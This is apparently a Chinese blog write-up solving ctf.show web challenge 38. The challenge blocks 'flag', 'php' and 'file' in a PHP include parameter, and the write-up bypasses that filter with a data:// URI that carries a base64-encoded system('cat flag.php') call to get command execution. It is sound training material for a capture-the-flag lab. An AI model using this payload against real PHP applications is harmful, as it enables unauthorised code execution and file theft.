ctf show web 入门38

打开靶场这道题目是之前那道题的进阶版。核心考点依然是 PHP 本地文件包含(LFI),但过滤规则显著增强了。

  1. 源码审计(核心变化)
    对比之前的题目,这次的正则表达式发生了变化:
    if(!preg_match("/flag|php|file/i", $c))
    新增黑名单:除了 flag,现在还过滤了 php 和 file。
    影响:
    你不能直接输入 flag.php(含有 flag 和 php)。
    你不能使用 php://filter(含有 php)。
    你不能使用 php://input(含有 php)。
  2. 解题思路:寻找"漏网之鱼"
    既然 php 和 file 被封杀了,我们需要寻找不需要这两个关键字的伪协议。
    所以我们可以继续使用 data:// 协议
    检查 data:// 协议本身:它不包含 php 或 file 关键字
    所以可以继续使用 Base64 编码来隐藏你的命令。
    代码:<?php system('cat flag.php');?>
    Base64 编码:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    最终 Payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    发现页面没有回显是=说明代码执行成功我们产看源代码得到flag
相关推荐
会编程的土豆1 小时前
Go 方法接收者超清晰笔记(类型名 vs 变量名)
开发语言·笔记·golang
fanged1 小时前
C++的汇编实现(TODO)
笔记
不羁的木木2 小时前
Form Kit(卡片开发服务)学习笔记01-核心概念与架构设计
笔记·学习·harmonyos
不羁的木木2 小时前
ArkWeb实战学习笔记01-核心概念与架构设计
笔记·学习·harmonyos
大明者省2 小时前
IIS 端口绑定正常访问的原理说明与常见误区澄清
运维·服务器·笔记
数据皮皮侠AI3 小时前
上市公司耐心资本数据(2010-2025)
大数据·人工智能·笔记·能源·1024程序员节
元气少女小圆丶3 小时前
SenseGlove Nova 2+Unity开发笔记2
笔记·unity·游戏引擎
土狗TuGou4 小时前
SQL内功笔记 · 第2篇:列的约束
数据库·笔记·sql
Engineer邓祥浩4 小时前
宏观认知(3):AI战略与社会影响——吴恩达《AI for Everyone》Week3学习笔记
人工智能·笔记·学习
啄缘之间5 小时前
8.【学习】工业级详细接口约束&覆盖率
开发语言·笔记·学习·uvm·sv